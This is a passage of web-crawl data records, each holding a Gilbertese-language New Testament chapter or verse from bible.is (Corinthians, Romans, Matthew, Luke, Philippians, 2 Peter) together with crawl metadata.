e iangoa aron te Uea, b'a e na iranna ni kakukureia; 33ao te mm'aane ae mareaki e iangoi b'ain te aonnaba aei, i bukina b'a e kani kakukureia buuna; 34ma ngaia ae e bwenaua nanona. Ao te aine ae aki mareaki, ke te ateiaine, e iangoa ana m'akuri te UEA, i bukina b'a e kan anga rab'atana ma tamneina i bukin te Atua. Ma te aine ae mareaki e iangoi b'ain te aonnaba aei i bukina b'a e kani kakukureia buuna. 35I atonga aei b'a e manena i bukimi; ma tiaki nanona b'a I kani karaoi aaro n tutuki nako imi, ngkai I tangiringkami b'a kam na karaoa ae e eti ma n riai, ao kam na toro iroun te Uea n aki tabeaianga. 36Ma ngkana e taku temanna i nanona b'a e aki kona n taona nanona i bukin nanona ae korakora ni kani botaki ma ana kabae, ao e a taku b'a a bon riai ni mareaki, ao ke e karaoa ane tangiria; e aki bure iai; ke a mareaki. 37Ma ngkana e a bon tia i nanon te aomata, n aki kairoroaki, b'a e na aki mareaki, ao ngkana e a tia ni kona n taotaona nanona, ao e a tia naba ni motikia i nanona b'a tera are e na karaoia, ao e aki bure ngkana e aki mareaki ma ana kabae. 38Ma ngaia aei, b'a ane mare ma ana kabae, ao e karaoa ae raoiroi; ma ane aki mare ma ana kabae, ao e karaoa ae raoiroi riki. 39Akea inaomatan te ainenum'a ngkae e maiu buuna; ma ngkana e mate buuna, ao e a inaomata ngkanne ni manga mareaki ma te mm'aane are e tangiria, ae te Kristian. 40Ma I taku b'a e a kab'aia riki ngkana e aki manga mare; ao I taku naba b'a I kairaki n au iango aikai iroun Tamnein te Atua.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/7","date":"2016-06-27T00:57:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783395613.65\/warc\/CC-MAIN-20160624154955-00144-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1337,"character_repetition_ratio":0.053,"word_repetition_ratio":0.015,"special_characters_ratio":0.255,"stopwords_ratio":0.426,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 7:3737Ao noria, iai ainen te kawa ikekei ae te tia bure. Ngke e ataia b'a E tekateka n am'arake n ana auti te B'aritaio, ao e roko ma nen te b'a ae karaoaki man te atibu ae te arab'ata. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/7\/37","date":"2016-06-30T05:28:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783398075.47\/warc\/CC-MAIN-20160624154958-00117-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":0.9997030497,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.999703049659729}","num_words":55,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.269,"stopwords_ratio":0.345,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao E weteia ana reirei Iesu ake tengauni ma uoman, ao E anganiia te m'aaka i aoia tamnei aika kam'araa b'a a na kanakoia, ao te m'aaka ni katoki aoraki ni kabane ma mamaara ni kabane. 2Aikai araia taan tuatua ake tengauni ma uoman: te moa n ara bon Timon, are arana teuana Betero, ao Anterea are tarina; ao Iakobo are natin Tebetaio, ao Ioane are tarina; 3ao Biribo, ao B'aretorom'aio; ao Toma, ao Mataio are te tia anai taekiti; ao Iakobo are natin Areb'aio, ao Tataio; 4ao Timon are te Kananaian, ao Iuta are aranaki b'a Itekariota, are kam'anea Iesu. 5E kanakoia uake tengauni ma uoman Iesu, ao E tuangiia ni kangai, Tai nako n taabo aika a mena iai aomata akana tiaki I-Iutaia, ao tai rin n aia kawa I-Tamaria; 6ma, kam na nakoia Iteraera ake a tia n riki b'a kaanga tiibu aika bua. 7Ao ngkana kam nako, ao aei kanoan ami kab'arab'ara: \"E a kan roko Uean te Atua!\" 8Kam na kamaiuia akana aoraki; kamaiuia akana a tia ni mate; katoki reberaia akana rebera, ao kanakoia taimonio. I a tia n anganingkami te m'aaka ni karaoi baikai n akea boona mai roumi. Ma ngaia are kam na nako ao karaoi naba baikai nakoia tem'angina n akea boona. 9Tai ua m'ane; 10ao tai uoti neni kanami i bukini m'anangami, tai uoti uoua te kabaraki, tai ua kauniwae, ao tai ua oko; b'a e riai b'a e na anganaki te tia m'akuri baika e kainanoi i bukini maiuna. 11Ao ngkana kam rin n te kawa teuana ae buubura ke ae uarereke, ao kam na kakaaea iai ane tauraoi ni butim'aingkami, ao tiku i rouna ni karokoa kam nako maiai. 12Ao ngkana kam rin n te auti teuana, ao kam na kamauriia kaaina. 13Ao ngkana a butim'aingkami, ao tataro nakon te Atua b'a E na kakab'aiaia; ma ngkana a aki butim'aingkami, ao butiia te Atua b'a E na aki m'annanoa ami tataro are kam bubuti iai b'a a na kakab'aiaki. 14Ao ngkana akea temanna i buakoia ae m'aneingkami n akoingkami, ke e aki ongo ami taeka, ao kam na taei bubun aontano mai waemi ngkana kam kitana te kawa are ab'ab'aki arei, b'a kaotan ae kam a rawa mai rouia. 15E koaua ae I a tuangngkami b'a e bebete riki te rekenikai are na reke nakoia I-Totom ma I-Komora, n te bongi ni motikitaeka, nakon are na reke nako ia. 16Noria, I kanakoingkami b'a kaanga tiibu i buakoia kameaanti; ma ngaia are kam na wanawana n ai aroia naeta, ao kam na nimamannei n ai aroia taobe. 17Kam na kawakiningkami mairouia aomata; b'a ane a na kateingkami i matani kabowi, ao ane a na oreingkami i nanoni m'aneabaia I-Iutaia; 18ao ane kam na katikaki nako mataia taan tau-taeka ma uea i buku, ma kam na taekina te koaua nako ia ao nakoia aomata akana tiaki I-Iutaia. 19Ngkana a kateingkami, ao tai katabei nanomi n iangoi aromi b'a kam na kanga n taetae, ke tera ae kam na taekinna; b'a ane kam na anganaki baike kam na taekin n te aoa naba arei. 20B'a tiaki ngkami ake kam taetae, ma bon Tamnein Tamami are taetae mai roumi. 21Ao te mm'aane ane e na anga tarina b'a e na tiringaki, ao ai aron naba are e na karaoia te tama nakon natina; ao ane a na tei rake naati n ekianako nako aia karo ao a na anga b'a a na tiringaki; 22ao ane kam na ribaaki irouia aomata ni kabaneia i bukin arau. Ma ane nanom'aka ni karokoa matena, ao e na kamaiuaki. 23Ngkana a b'ainikiriningkami aomata n te kawa teuana, ao kam na biri nakon te kawa are teuana; b'a e koaua ae I a tuangngkami, b'a a na aki bane n tia ami m'akuri i nanon aia kawa nako Iteraera i m'ain rokon Natin te Aomata. 24E aki kakannato riki ane reireiaki nakon ana tia reirei, ke te toro nakon ana toka. 25E na rau nanon ane reireiaki ngkana e reke i rouna katotongan aron ana tia reirei, ao ai aron naba te toro ngkana e reke i rouna katotongan aron ana toka. Ngkana a atonga mataniwin te utu aomata b'a Beretebub'a, ao ai bati ra riki irouia atongaia kaain ana utu n aara aika bubuaka riki! 26Ma ngaia ae kam na tai makuia; b'a akea te bae rabunaki ae na aki kaotaki, ao ae karabaki ae na aki ataaki. 27Ae I tuangngkami n te roo, ao kam na taekinna n te ngaina; ao ae kam ongo i Rou ngke ti ngaira, ao kam na takaruaia i aon taubukin auti. 28Kam na aki makuia akana kamatea te rab'ata b'a a aki kona ni kamatea te aomata ni koaua ane i nanon te rab'ata; ma kam na maka Teuare kona ni kamatea i Keenna te rab'ata ma te aomata ni koaua ane i nanon te rab'ata. 29Tiaki a kaboaki uoman te tib'aaro n te boo ae rangi n uarereke? Ao bon akea temanna i buakoia ae na b'aka i aontano ngkana tiaki nanon te Atua. 30Ao ae e a moamoa riki, a bane ni warekaki iran atuumi. 31Ma ngaia ae kam na tai maaku; b'a kam bongana riki nakoia tib'aaro aika bati. 32Ma ngaia aei, b'a ane kaotia i mataia aomata b'a raona Ngai, ao Ngai I a manga kaotia i matan Tamau are i karawa b'a raou ngaia. 33Ma ane kakeaai i mataia aomata, ao Ngai I a manga kakeaa naba i matan Tamau are i karawa. 34Tai taku i nanomi b'a I roko b'a N na uota te raoi nako aonnaba: I aki roko b'a N na uota te raoi, ma I roko b'a N na uota te kabaang. 35I roko b'a N na kauna te nati te mm'aane nakon tamana, ao te nati te aine nakon tinana, ao te ainenum'a nakon tinani buuna; 36ao ane a na riki ana utu te aomata b'a ana kairiribai. 37Ane tangira riki tamana ma tinana nako Iu, ao e aki tau b'a e na riki b'a au reirei; ao ane tangira riki natina te mm'aane ke natina te aine nako Iu, ao e aki tau b'a e na riki b'a au reirei. 38Ao ane aki uota ana kaibangaki n irirai n ri mwiu, ao e aki tau b'a e na riki b'a au reirei. 39Ane kawakina maiuna, ao e na boni kabua; ao ane kabua maiuna i buku, ao e na boni karekea. 40Ane m'aneingkami n akoingkami, ao e m'aneai n akoai; ao ane m'aneai n akoai, ao e m'anea n akoa Teuare kanakoai. 41Ane m'anea n akoa te burabeti i bukina b'a te burabeti, ao e na karekea kaniwangana ae ti te bo ma te kaniwanga i bukin te burabeti; ao ane m'anea n akoa te aomata ae raoiroi, ao e na anganaki te kaniwanga ae ti te boo ma te kaniwanga i bukin te aomata ae raoiroi. 42Ao ane anga ti te m'angko n ran ae m'aitoro nakon temanna i buakoia aika uarereke aikai ngkae e atongaki b'a au reirei, ao e koaua ae I a tuangngkami b'a e na bon anganaki kaniwangana.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Matt\/10","date":"2016-06-29T02:07:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783397562.76\/warc\/CC-MAIN-20160624154957-00151-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1176,"character_repetition_ratio":0.047,"word_repetition_ratio":0.012,"special_characters_ratio":0.248,"stopwords_ratio":0.389,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ke a ongeaba aomata ni kabaneia irouia ake a tautaeka i aoia: b'a ti te Atua ae angan te aomata te m'aaka n tautaeka, ao Ngaia naba ae E kateia aika tautaeka ngkai n nakoaia. 2Ma ngaia aei, b'a te aomata ane rawa nakon te tautaeka, ao e rawa naba nakon are E a tia ni baireia te Atua; ane karaoa aei ao e na motikaki taekana. 3B'a a aki riai ni makaki taan tautaeka irouia aomata aika kakaraoa ae e raoiroi, ma a riai ni makaki irouia aika kakaraoa ae buakaka. Ko kan aki maka te tia tautaeka? Karaoa ae e raoiroi, ao ane ko na kamoamoaki iai i rouna. 4B'a ana aomata te Atua ngaia ao tabena bon te buokiko nakon ae e raoiroi. Ma ngkana ko karaoa ae buakaka ao ko bon riai ni maku, i bukina b'a bon iai m'aakana ni kareke kai: b'a ana aomata te Atua ngaia ae te tia irantaanga ae karaoa nanon te Atua ni karekea kain ane karaoa ae buakaka. 5Ma ngaia ae e riai b'a kam na b'aina te aan-taeka, tiaki ti i bukin ana moti te Atua are e na rawawata mwina nakoimi, ma i bukina naba b'a kam bon ataia b'a te b'ai ae bon riai karaoana. 6Ao bon aei naba bukin ae kam riai naba iai ni kab'akai ami taekiti: b'a a m'akuri i bukin te Atua taan tautaeka n aia m'akuri are a kakaonimaki nako iai. 7Anga b'aai ni kabane akana kam bae iai: te taekiti nakoia taan anai taekiti, te tiute nakoia taan anai tiute, te maku nakoia akana riai ni makaki, ao te karinerine nakoia akana riai ni karineaki. 8Tai tarau iroun te aomata n te b'ai teuana, b'a ti n te i-tangitangiri: b'a ane tangira raona n aomata, ao e na karaoa nanon te Tua ni kabanea. 9B'a aikai tuua, \"Ko na tai wene ni bure; Ko na tai kamateia aomata; Ko na tai ira; Ko na tai mataai\" ao ngkana tao iai riki, ao a bane i nanon te tua ae kaangai, \"Ko na tangira raom n ai aron tangiram i bon i roum.\" 10Ane tangira raona n aomata ao e aki kona ni karaoa ae buakaka nakoina. Ma ngaia ae b'ainan te tangira boni kakoroan nanon te Tua ni kabane. 11Kam bon riai ni karaoa aei, ngkai kam atai kanoani boong aika ti mena iai ngkai. E a bo ami tai ngkai n uti mani matumi. B'a e a uakaan riki ngkai te bong are ti na kamaiuaki iai nakon taina ngkoa ngke ti moa n onimakina iai te UEA. 12E a kani bane te bong, ao e a kaan te ngaina. Ma ngaia ae ti na katikui m'akuri nako aika b'ain te roo, ao ti na anai b'aai ni buaka aika b'ain te oota. 13Ti na b'aina te aro ae riai ni maiura n ai aroia aomata aika maeka n ootan te ngaina; ti na aki b'aina te maiu are iai i nanona te momooi manging, ma te wene ni bure, ma aaro ni kammaira nako, ma te unun, ma te bakantang. 14Ma kam na anai ana b'ai ni buaka nako te UEA are Iesu Kristo, ao tai karekei aia tai rab'atami aika bubure b'a a na iri nanoia ni kaib'ab'aru.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/13","date":"2016-06-30T13:04:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783398628.62\/warc\/CC-MAIN-20160624154958-00128-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":542,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.4,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Mairouni B'auro, ae ana tia tuatua Kristo Iesu n nanon te Atua, ao mairoun Timoteo ae tarira, nakon ana ekaretia te Atua i Korinto, ao nakoia ake a itiaki ni kabaneia ake a mena i Akaia ni kabuta. 2Ami b'ai te akoaki ma te raoi mairoun te Atua are Tamara ma ara UEA are Iesu Kristo. 3E na karaoiroaki te Atua, ae Taman ara UEA are Iesu Kristo, ao Taman te nanoanga ni kabane, ao Atuan aaro ni karaunano ni kabane, 4are E anganira karauan nanora n rawawatara ni kabane, b'a ti aonga ni karau nanoia akana taonaki n rawawata nako, n te aro ni karaunano are e a tia ni karauaki nanora iai iroun te Atua. 5B'a ngkai a bati kamarakara aika kamarakani Kristo, ao ai arona naba b'a a bati karauan nanora irouni Kristo. 6Ngkana ti karawawataaki, ao bon i bukini karauan nanomi ao kamaiuami; ao ngkana a karauaki nanora ao bon i bukin naba karauan nanomi are kam kona iai n taotaon nanomi nakoni maraki ake ti maraki naba iai. 7E teimatoa ara kaantaninga i bukimi; b'a ti ataingkami b'a ngkai raora ni kamarakaki ngkami, ao bon raora naba ngkami ni karauaki nanora. 8B'a ti aki tangiringkami, taari, b'a kam na aki ata rawawatara are roko i roura i Atia: b'a ti bati n taonaki iai i aon are ti kona, ao akea ara kaantaninga b'a ti na maiu maiai; 9ti aki nanokokoraki b'a ti taku b'a ti nangi boni mate. Ma e riki aei b'a ti aonga n aki onimakinira, ma ti na onimakina te Atua are a manga uti maate i Rouna; 10are ti kamaiuaki i Rouna man te mate are moan te kakamaaku, ao E na boni manga kamaiura naba maiai; ti a tia ni kawenea ara kaantaninga i Rouna b'a E na boni manga kamaiura naba, 11ngkai kam buokira n tataro i bukira, b'a a aonga n tataro ni katituaraoi i bukira aomata aika bati i bukin te kab'aia are ti anganaki b'a kaekaan taian tataro aika bati. 12B'a aio kamoamoara, ao ana kaotioti mataniwin nanora: b'a n arora ni maiu n te aonnaba aei, ao ai moa ra riki n arora nako imi, ao ti a tia ni b'aina te maiu ae tabu ae itiaki are mairoun te Atua, tiaki n te rabakau n aon te aba, ma n ana akoi te Atua. 13B'a akea riki baika ti koroi taekaia nako imi, b'a ti baike kam wareki ao kam atai nanoia; ao bon au kaantaninga b'a kam na bon atai raoi, 14n ai aron naba are kam a tia n ataia teutana mai roura. Ao ngkana E roko ara UEA are Iesu, ao kam na kamoamoaingkami i bukira ao ngaira i bukimi. 15I aki nanokokoraki teutana n aei, ma ngaia are I kataua n te moa n tai b'a N na kawaringkami b'a kam aonga ni manga akoaki kaua: 16b'a I kani kawaringkami i aoni kawaiu nako M'aketonia, ao ni kawaringkami naba ngkana I oki maiai, b'a kam aonga ni bakaborauai nako Iutaia. 17I nano tiotio iai ngke I karaoa au iango aei? Ke I karaoi au iango ma te nano n aomata are tauraoi n atonga ae kangai, \"Eng, eng\" ao \"Tiaki, tiaki\" n te tai ae ti teuana? 18Ma ngkae E kakaonimaki te Atua, ao ara taeka nako imi bon tiaki \"Eng\" ao \"Tiaki\", n te tai ae ti teuana. 19B'a Natin te Atua, are Iesu Kristo, are tataekinaki nako imi i roura i rou ma Tirouano ma Timoteo, E aki nano tiotio i marenan te \"Eng\" ao te \"Tiaki\", ma bon ti te \"Eng\" i Rouna. 20B'a boni Ngaia te \"Eng\" nakon ana taeka n akoi ni kabane te Atua; ao i Rouna naba te \"Amen\" are ti neboa iai te Atua. 21Ma te Atua boni Ngaia ae kateimatoaira ma ngkami i nanoni Kristo, ao E kabirira 22are E kanikinaira b'a ana b'ai, ao E anganira te Tamnei i nanora b'a te kakoaua i bukini baika kawakinaki i bukira. 23I atonga te Atua b'a au Tia Kakoaua are na karekea kaiu ngkana I kewe; b'a I aki roko i Korinto i bukina b'a I aki kani karawawataingkami. 24Tiaki nanora b'a ti kan tautaekaningkami, n tuangngkami aromi n onimaki; ma bon raao ngaira ni m'akuri i bukin ami kim'areirei, ngkai kam teimatoa n te onimaki.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/2Cor\/1","date":"2016-06-26T22:04:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783395560.14\/warc\/CC-MAIN-20160624154955-00031-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":716,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.391,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ma ngaia ae tera ae e rine riki iai te I-Iutaia? Ao tera manen te korotabonimm'aane? 2E bati n aaro nako. B'a mai moana ao E mwiokoia I-Iutaia te Atua b'a a na kawakina ana taeka. 3B'a tera? Ngkana a aki kakaonimaki tabem'aang, ao e na uruaki ana kakaonimaki te Atua n aia aki-kakaonimaki? 4E bon aki! Ma e na ataaki b'a e koaua ana taeka te Atua, ao bon taani kewe aomata nako; n ai aron are koreaki ni kaangai: \"Ane a na kaotiko am taeka b'a e eti arom; Ao ane ko na tokanikai ngkana e motikaki taekam.\" 5Ma ngkana e kaota aron te Atua arora aika aki eti b'a E karaoa ae e eti, ao tera ara taeka iai? E karaoa ae buakaka te Atua ngke E kareke kai? (I taetae n ai aroia aomata.) 6E bon aki! B'a ngke e aki eti aron te Atua, ao E na iranna ni motika taekan te aonnaba? 7Ma ngkana e buoka aroni kamoamoan te Atua arou ni kewe n te aro are e a kaota raoi riki iai aron te Atua b'a E b'ab'aina te koaua, ao e aera ngkae e teimatoa naba arou ni motikaki taekau b'a te tia bure ngai? 8Ao e aera ngkai kam aki atonga ae kaangai, \"Ti na karaoi baika bubuaka b'a e aonga n roko iai te raoiroi\"? N ai aron are I kabuakakaki iai irouia aomata tem'angina ake a bukinai b'a a taku b'a au taeka. A riai motikan taekaia! 9Ao tera ngkanne? Ti raoiroi riki ngaira I-Iutaia nakoia I-Erene? Ti bon aki; b'a ti a kamani kaotiia I-Iutaia ma I-Erene, b'a a bane ni mena i aani m'aakan te bure; 10n ai aron are koreaki ni kaangai: \"Akea temanna ae kororaoi i matan te Atua! 11Akea ae wanawana ke ae na taromauriia te Atua. 12A bane n rairaki nako mairoun te Atua; a bane n tia ni bure; Akea ae karaoa ae e raoiroi, bon akea temanna. 13Ai aron te rua ni mate ae uki buuaia; A m'am'anaa te aba n neweia; Ao riaia a atongi taeka aika kamamate, aika ai aron aia b'ai ni kamamate naeta. 14A oni wiia n taeka ni karereanti. 15A waekoakoa ni kaikoaki ao n tiritiri; 16A urub'ai ao a kananoanga aomata i rouia n taabo nako ake a roko iai; 17A aki ata kawain te raoi. 18Akea i rouia makan te Atua. 19Ma ti ataia b'a b'aai ni kabane ake a koreaki taekaia n te Tua bon i bukiia te koraki ake a mena i aan te Tua, b'a a aonga n tukaki aomata nako b'a a na aki karaoi aia taeka aika a na reke aonaia iai, ao a na bane ni motikaki taekaia iroun te Atua. 20B'a akea i matan te Atua te aomata ae e na kaetaki arona n reitaki ma Ngaia ni karaoan nanon te Tua; b'a e ataaki raoi te bure n te Tua. 21Ma e a tia ni kaotaki ana kawai te Atua ni kaeti aroia aomata n reitaki ma Ngaia, ae akea rekerekena ma te tua. E boni ngae n anne ma bon iai taekana n te Tua ao irouia burabeti. 22E kaeti aroia aomata te Atua n reitaki ma Ngaia n onimakinan Iesu Kristo i rouia; ao E karaoa aei nakoia aomata ni kabaneia aika onimakina Iesu. 23B'a akea te kakaokoro; b'a a bane ni bure aomata nako, ao e aki reke i rouia te neboaki are a na anganaki iroun te Atua. 24A bane ni kaetaki aroia n reitaki ma te Atua n ana akoi ae aki kaboaki; ao E karaoa aei iroun Iesu Kristo are kainaomataia: 25are E anga b'a E aonga n riki, ni matena, b'a te kawai are a na kab'araki iai aia bure aomata nako, n onimakinana. E karaoa aei te Atua b'a E na kaota iai arona n reitaki ae e raoiroi ma aomata. N taai ake a b'akanako, ao E a tia n taotaona nanona n aki mutiakini buure; 26ma n taai aikai ao E mutiakin aia bure aomata, b'a E na kaota arona ae eti; n te aro aei ao E a kaotia iai te Atua b'a E b'ab'aina te eti, ao E kaeti aroia aomata nako aika onimakina Iesu, n reitakiia ma Ngaia. 27Ao e nga te kamoamoa iai? E tukaki! N te tua ra? N tuan te m'akuri? Tiaki; ma e tukaki n te tua n onimaki. 28B'a ti taku b'a e aki kaetaki aron te aomata n reitaki ma te Atua ni karaoan nanon te Tua i rouna, ma e kaetaki i bukin ana onimaki. 29Ti Atuaia I-Iutaia te Atua, ao tiaki Atuaia naba aomata aika tiaki I-Iutaia? 30Eng, bon Atuaia naba aomata aika tiaki I-Iutaia. B'a ti temanna te Atua ae na kaeti aroia I-Iutaia n reitaki ma Ngaia n aia onimaki, ao E na kaeti naba aroia aomata aika tiaki I-Iutaia n reitaki ma Ngaia i bukin aia onimaki. 31Ti urua ngkanne iai te Tua n te onimaki? Ti aki; ma ti kateimatoa te Tua.\nCopyright","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/3","date":"2016-06-29T05:38:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783397567.28\/warc\/CC-MAIN-20160624154957-00199-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":832,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.256,"stopwords_ratio":0.434,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 KORINTO 7:99Ma ngkana a babanga n taotaon nanoia, ao a na mareaki; b'a e raoiroi riki ae a mareaki nakon ae a tiku ma nanoia ae kiriwe i bukin tangiran te m'ane ke te aine. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/7\/9","date":"2016-06-29T04:44:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783397565.80\/warc\/CC-MAIN-20160624154957-00002-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":0.9999388456,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 0.9999388456344604}","num_words":50,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.251,"stopwords_ratio":0.32,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 11:3333Akea ane kaura te taura ni kaaki n te tabo ae raba i nanon te auti ke i aan te b'aketi, ma e kaaki i aoni nena, b'a a aonga n nora te oota aomata ake a rin. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2016-26","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/11\/33","date":"2016-06-25T09:39:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-26\/segments\/1466783392527.68\/warc\/CC-MAIN-20160624154952-00106-ip-10-164-35-72.ec2.internal.warc.gz","language":"gil","language_score":0.9998841286,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 0.9998841285705566}","num_words":54,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.276,"stopwords_ratio":0.296,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"15b'a kam aonga n aki bukintaeka ngkana iai te kairua ae riki, ao b'a kam aonga n itiaki man te aro ae buakaka, ngkai natin te Atua ngkami aika akea te kairua iroumi i buakon te roro ae b'aoua ae buakaka; aika kam oota i buakoia b'a kanga itoi i aon te aba,\nBIRIBI 2:15\nFREE!\nOne App.\n1207 Languages.","id":"","dump":"CC-MAIN-2016-40","url":"http:\/\/www.bible.is\/GILBSP\/Phil\/2\/15","date":"2016-09-28T02:49:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2016-40\/segments\/1474738661289.57\/warc\/CC-MAIN-20160924173741-00026-ip-10-143-35-109.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":58,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.267,"stopwords_ratio":0.345,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngkami aika kam tangiraki, aio ngkai au kauoua n reta ae I koroia nakoimi; ao i nanon reeta aika uoua aikai ao I a tia ni kataia ni kaungaingkami n te aro ni kauring b'a a na eti ami iango: 2b'a kam aonga n uringi taeka ake a taekinaki ngkoa i rouia burabeti ake ana aomata te Atua, ao b'a kam aonga n uringi naba ana tua te Uea are te Tia Kamaiu, are te tua are taekinaki nakoimi irouia taan tuatua. 3Aio moa ae na ataaki, b'a ni boong aika kabaneani boong, ao a na roko taani kakaniko ni kakaniko n aroni kairaia n oin nanoia ni kaib'ab'aru, 4ao ane a na kaangai, \"E nga rokona ae taekinaki? B'a man te tai are a mate iai ara bakatibu, ao a teimatoa n tiku b'aai ni kabane n aroia ma ngke a moa ni karikaki aonnaba.\" 5B'a bon nanoia b'a a na m'aninga taekan te koaua aei: ae karawa e riki ma ngkoangkoa n ana taeka te Atua, ao E karika aon te aba man te ran ao n te ran; 6are uruaki iai aon te aba are ngkekei, ngke e iekaki n te ran. 7Ma karawa ma aon te aba aika iai ngkai a kawakinaki naba n ana taeka te Atua b'a kanan te ai. A kawakinaki ni karokoa te bong are a na motikaki iai taekaia aomata aika akea reitakiia ma te Atua ao a na kamateaki. 8Ma aei te koaua teuana ae kam na aki m'aninga taekana, ngkami aika kam tangiraki: b'a ti te bo te bong ae ti te bongina ma ririki aika tengaa iroun te Uea, ao ti te bo tengaa te ririki ma te bong ae ti te bongina i rouna naba. 9E aki baenikai te Uea ni karaoa nanon ana taeka n akoi, n ai aron are a taku tem'angina n aia iango; ma E taotaona nanona nakoimi i bukina b'a E aki tangira temanna i buakomi b'a e na mate, ma E tangiriia aomata ni kabaneia b'a a na rairi nanoia. 10Ma ane e na roko ana bong te Uea n ai aron rokon te tia ira; n te bong anne ao e na mauna iai karawa ma te rurunga ae korakora, ao a na bue b'aai ma ni mauna nako aroia; ao aonnaba ma kanoana a na kuneaki. 11Ma ngaia aei, ngkai a nangi mauna nako aroni b'aai ni kabane n te aro aei, ao aaro ra aromi aika riai b'a kam na maeka n itiaki iai, ao n reitaki ma te Atua, 12ngkai kam tataninga ana bong te Atua ma ni bareka rokon te bong are e na bue iai ma ni mauna nako karawa, ao a na riki n ran b'aai n te kabuebue! 13Ma n ai aron ana taeka n akoi, ti a tiku ni kaantaningai karawa aika boou ma te aonnaba ae boou, ike e mena iai karaoan nanon te Atua. 14Ma ngaia aei, ngkami aika kam tangiraki, ngkai kam tiku ni kakantaninga, ao kam na kakorakoraingkami b'a kam aonga n noraki i rouna b'a akea baarekami ke te bae buakaka iroumi, ao kam rau ni maiumi 15Kam na tara taotaonan nanon ara Uea b'a te kawai i bukini kamaiuami, n ai aron are e koroia naba nakoimi tarira are tangiraki are B'auro, n ai aron te rabakau are e anganaki. 16Aei te bae e taekinna n ana reta ni kabane ngke e koroi taekani baikai iai. Iai b'aai tabeua n ana reta aika aki kai ataaki, aika kab'araki ni kab'aouaki nanoia irouia aomata aika nano roo ma aika nano tiotio, n ai aron naba are a karaoia nakon taekan te B'aib'ara tabeua. Karaoan aei i rouia boni karekeani 